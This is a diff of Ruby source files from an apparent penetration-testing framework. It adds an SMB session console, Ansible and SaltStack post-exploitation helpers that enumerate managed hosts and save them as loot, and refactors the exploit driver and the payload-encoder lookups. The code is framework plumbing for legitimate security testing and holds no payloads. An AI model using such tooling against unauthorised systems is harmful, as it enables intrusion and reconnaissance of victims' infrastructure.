@address, @port = @client.conn.peerinfo.split(':')
@port
end
##
# :category: Msf::Session::Interactive implementors
#
# Initializes the console's I/O handles.
#
def init_ui(input, output)
super(input, output)
console.init_ui(input, output)
console.set_log_source(self.log_source)
end
##
# :category: Msf::Session::Interactive implementors
#
# Resets the console's I/O handles.
#
def reset_ui
console.unset_log_source
console.reset_ui
end
def exit
console.stop
end
protected
##
# :category: Msf::Session::Interactive implementors
#
# Override the basic session interaction to use shell_read and
# shell_write instead of operating on rstream directly.
def _interact
framework.events.on_session_interact(self)
framework.history_manager.with_context(name: type.to_sym) { _interact_stream }
end
##
# :category: Msf::Session::Interactive implementors
#
def _interact_stream
framework.events.on_session_interact(self)
console.framework = framework
# Call the console interaction of the PostgreSQL client and
# pass it a block that returns whether or not we should still be
# interacting. This will allow the shell to abort if interaction is
# canceled.
console.interact { interacting != true }
console.framework = nil
# If the stop flag has been set, then that means the user exited. Raise
# the EOFError so we can drop this handle like a bad habit.
raise ::EOFError if (console.stopped? == true)
end
end
+1
View File
@@ -183,6 +183,7 @@ module Scriptable
execute_file(full_path, args)
framework.events.on_session_script_run(self, full_path)
rescue StandardError => e
elog("Could not execute #{script_name}: #{e.class} #{e}", error: e)
print_error("Could not execute #{script_name}: #{e.class} #{e}")
end
end
+147
View File
@@ -0,0 +1,147 @@
# -*- coding: binary -*-
require 'rex/post/smb'
class Msf::Sessions::SMB
#
# This interface supports basic interaction.
#
include Msf::Session::Basic
include Msf::Sessions::Scriptable
# @return [Rex::Post::SMB::Ui::Console] The interactive console
attr_accessor :console
# @return [RubySMB::Client] The SMB client
attr_accessor :client
attr_accessor :platform, :arch
attr_reader :framework
# @param[Rex::IO::Stream] rstream
# @param [Hash] opts
# @option opts [RubySMB::Client] :client
def initialize(rstream, opts = {})
@client = opts.fetch(:client)
self.console = Rex::Post::SMB::Ui::Console.new(self)
super(rstream, opts)
end
def bootstrap(datastore = {}, handler = nil)
session = self
session.init_ui(user_input, user_output)
@info = "SMB #{datastore['USERNAME']} @ #{@peer_info}"
end
def execute_file(full_path, args)
if File.extname(full_path) == '.rb'
Rex::Script::Shell.new(self, full_path).run(args)
else
console.load_resource(full_path)
end
end
def process_autoruns(datastore)
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
next if datastore[key].nil? || datastore[key].empty?
args = Shellwords.shellwords(datastore[key])
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
session.execute_script(args.shift, *args)
end
end
def type
self.class.type
end
# Returns the type of session.
#
def self.type
'SMB'
end
def self.can_cleanup_files
false
end
#
# Returns the session description.
#
def desc
'SMB'
end
def address
return @address if @address
@address, @port = self.client.dispatcher.tcp_socket.peerinfo.split(':')
@address
end
def port
return @port if @port
@address, @port = self.client.dispatcher.tcp_socket.peerinfo.split(':')
@port
end
##
# :category: Msf::Session::Interactive implementors
#
# Initializes the console's I/O handles.
#
def init_ui(input, output)
self.user_input = input
self.user_output = output
console.init_ui(input, output)
console.set_log_source(log_source)
super
end
##
# :category: Msf::Session::Interactive implementors
#
# Resets the console's I/O handles.
#
def reset_ui
console.unset_log_source
console.reset_ui
end
def exit
console.stop
end
##
# :category: Msf::Session::Interactive implementors
#
# Override the basic session interaction to use shell_read and
# shell_write instead of operating on rstream directly.
def _interact
framework.events.on_session_interact(self)
framework.history_manager.with_context(name: type.to_sym) do
_interact_stream
end
end
##
# :category: Msf::Session::Interactive implementors
#
def _interact_stream
framework.events.on_session_interact(self)
console.framework = framework
# Call the console interaction of the smb client and
# pass it a block that returns whether or not we should still be
# interacting. This will allow the shell to abort if interaction is
# canceled.
console.interact { interacting != true }
console.framework = nil
# If the stop flag has been set, then that means the user exited. Raise
# the EOFError so we can drop this handle like a bad habit.
raise EOFError if (console.stopped? == true)
end
end
+2 -1
View File
@@ -82,7 +82,7 @@ module Exploit
exploit.options.validate(exploit.datastore)
# Start it up
driver = ExploitDriver.new(exploit.framework)
driver = Msf::ExploitDriver.new(exploit.framework)
# Keep the handler of driver running if exploiting multiple targets.
driver.keep_handler = true if opts['multi']
@@ -172,6 +172,7 @@ module Exploit
Msf::Simple::Exploit.exploit_simple(self, opts, &block)
end
alias run_simple exploit_simple
#
# Initiates a check, setting up the exploit to be used. The following
# options can be specified:
@@ -6,6 +6,7 @@ module Msf
module ModulePaths
attr_accessor :configured_module_paths
attr_accessor :module_paths_inited
# Initialize the module paths
#
@@ -43,8 +44,7 @@ module Msf
end
# Remove any duplicate paths
@configured_module_paths.uniq
@configured_module_paths.uniq!
# return early if we're deferring module loading
return if opts.delete(:defer_module_loads)
+4 -1
View File
@@ -57,6 +57,10 @@ def run
@show_progress = datastore['ShowProgress']
@show_percent = datastore['ShowProgressPercent'].to_i
if self.respond_to?(:session) && session
datastore['RHOSTS'] = session.address
end
rhosts_walker = Msf::RhostsWalker.new(self.datastore['RHOSTS'], self.datastore).to_enum
@range_count = rhosts_walker.count || 0
@range_done = 0
@@ -358,4 +362,3 @@ end
end
end
+4 -4
View File
@@ -140,7 +140,7 @@ class EncodedPayload
# as the framework's list of encoder names so we can compare them later.
# This is important for when we get input from RPC.
if reqs['Encoder']
reqs['Encoder'] = reqs['Encoder'].encode(framework.encoders.keys[0].encoding)
reqs['Encoder'] = reqs['Encoder'].encode(framework.encoders.module_refnames[0].encoding)
end
# If the caller had a preferred encoder, use this encoder only
@@ -237,9 +237,9 @@ class EncodedPayload
begin
eout = self.encoder.encode(eout, reqs['BadChars'], nil, pinst.platform)
rescue EncodingError
wlog("#{err_start}: Encoder #{encoder.refname} failed: #{$!}", 'core', LEV_1)
dlog("#{err_start}: Call stack\n#{$@.join("\n")}", 'core', LEV_3)
rescue EncodingError => e
wlog("#{err_start}: Encoder #{encoder.refname} failed: #{e}", 'core', LEV_1)
dlog("#{err_start}: Call stack\n#{e.backtrace}", 'core', LEV_3)
next_encoder = true
break
+9 -5
View File
@@ -129,19 +129,23 @@ class Encoder < Module
#
# perl encoding.
#
CmdUnixPerl = 'perl'
CmdPosixPerl = 'perl'
#
# Bourne shell echo encoding.
#
CmdUnixEcho = 'echo'
CmdPosixEcho = 'echo'
#
# Bourne shell ${IFS} encoding.
#
CmdUnixIFS = 'ifs'
CmdPosixIFS = 'ifs'
#
# Bash brace expansion encoding.
#
CmdUnixBrace = 'brace'
CmdPosixBrace = 'brace'
#
# Base64 encoding.
#
CmdPosixBase64 = 'base64'
end
#
@@ -266,7 +270,7 @@ class Encoder < Module
# If this encoder is key-based and we don't already have a key, find one
if ((decoder_key_size) and
(state.key == nil))
# Find a key that doesn't contain and wont generate any bad
# Find a key that doesn't contain and won't generate any bad
# characters
state.init_key(obtain_key(buf, badchars, state))
+85
View File
@@ -0,0 +1,85 @@
# -*- coding: binary -*-
module Msf
module Exploit::Local::Ansible
def initialize(info = {})
super
register_advanced_options([
Msf::OptString.new('ANSIBLE', [false, 'Ansible executable location', '']),
Msf::OptString.new('ANSIBLEPLAYBOOK', [false, 'Ansible-playbook executable location', '']),
])
end
#
# Uses the ansible command to ping hosts, returns an array of hashes
#
# @param ansible_exe [String] The name location of the ansible executable
# @param hosts [String] The host string to use, defaults to 'all'
# @return [Array, nil] containing a hash for each host. Each has consists of the
# following parameters: host, status, ping, changed.
# nil on error.
#
def ping_hosts(hosts = 'all')
results = cmd_exec("#{ansible_exe} #{hosts} -m ping -o")
# here's a regex with test: https://rubular.com/r/FMHhWx8QlVnidA
regex = /(\S+)\s+\|\s+([A-Z]+)\s+=>\s+({.+})$/
matches = results.scan(regex)
hosts = []
matches.each do |match|
match[2] = JSON.parse(match[2])
hosts << { 'host' => match[0], 'status' => match[1], 'ping' => match[2]['ping'], 'changed' => match[2]['changed'] }
rescue JSON::ParserError
return nil
end
hosts
end
#
# Attempts to find the ansible-playbook executable. Verifies the
# executable is executable by the user as well. Defaults to looking in
# standard locations for Ubuntu and Docker:
# ('/usr/local/bin/ansible-playbook', '/usr/bin/ansible-playbook')
#
# @param suggestion [String] The location of the ansible-playbook executable if
# not in a standard location
# @return [String, nil] The executable location or nil if not found
#
def ansible_playbook_exe(suggestion = datastore['ANSIBLEPLAYBOOK'])
return @ansible_playbook if @ansible_playbook
[suggestion, '/usr/local/bin/ansible-playbook', '/usr/bin/ansible-playbook'].each do |exec|
next if exec.blank?
next unless executable?(exec)
@ansible_playbook = exec
return @ansible_playbook
end
@ansible_playbook
end
#
# Attempts to find the ansible executable. Verifies the
# executable is executable by the user as well. Defaults to looking in
# standard locations for Ubuntu and Docker:
# ('/usr/local/bin/ansible')
#
# @param suggestion [String] The location of the ansible executable if
# not in a standard location
# @return [String, nil] The executable location or nil if not found
#
def ansible_exe(suggestion = datastore['ANSIBLE'])
return @ansible if @ansible
[suggestion, '/usr/local/bin/ansible'].each do |exec|
next if exec.blank?
next unless executable?(exec)
@ansible = exec
return @ansible
end
@ansible
end
end
end
+33
View File
@@ -0,0 +1,33 @@
require 'yaml'
module Msf
module Exploit::Local::Saltstack
#
# lists minions using the salt-key command.
#
# @param salt_key_exe [String] The name location of the salt-key executable
# @return [YAML] YAML document with the minions listed
#
def list_minions(salt_key_exe = 'salt-key')
# pull minions from a master, returns hash of lists of the output
print_status('Attempting to list minions')
unless command_exists?(salt_key_exe)
print_error('salt-key not present on system')
return
end
begin
out = cmd_exec(salt_key_exe, '-L --output=yaml', datastore['TIMEOUT'])
vprint_status(out)
minions = YAML.safe_load(out)
rescue Psych::SyntaxError
print_error('Unable to load salt-key -L data')
return
end
store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list')
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
minions
end
end
end
@@ -48,9 +48,8 @@ module Msf
# @return [void]
def init_exploits
# First we're going to avoid using #find_all because that gets very slow.
framework.exploits.each_pair do |fullname, place_holder|
# If the place holder isn't __SYMBOLIC__, then that means the module is initialized,
# and that's gotta be the active browser autopwn.
framework.exploits.module_refnames.each do |fullname|
next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"
# The user gets to specify which modules to include/exclude
@@ -269,7 +268,7 @@ module Msf
# The payload is legit, we can use it.
# Avoid #create seems faster
return payload_name if framework.payloads.keys.include?(payload_name)
return payload_name if framework.payloads.module_refnames.include?(payload_name)
default = DEFAULT_PAYLOADS[platform][:payload]

Some files were not shown because too many files have changed in this diff Show More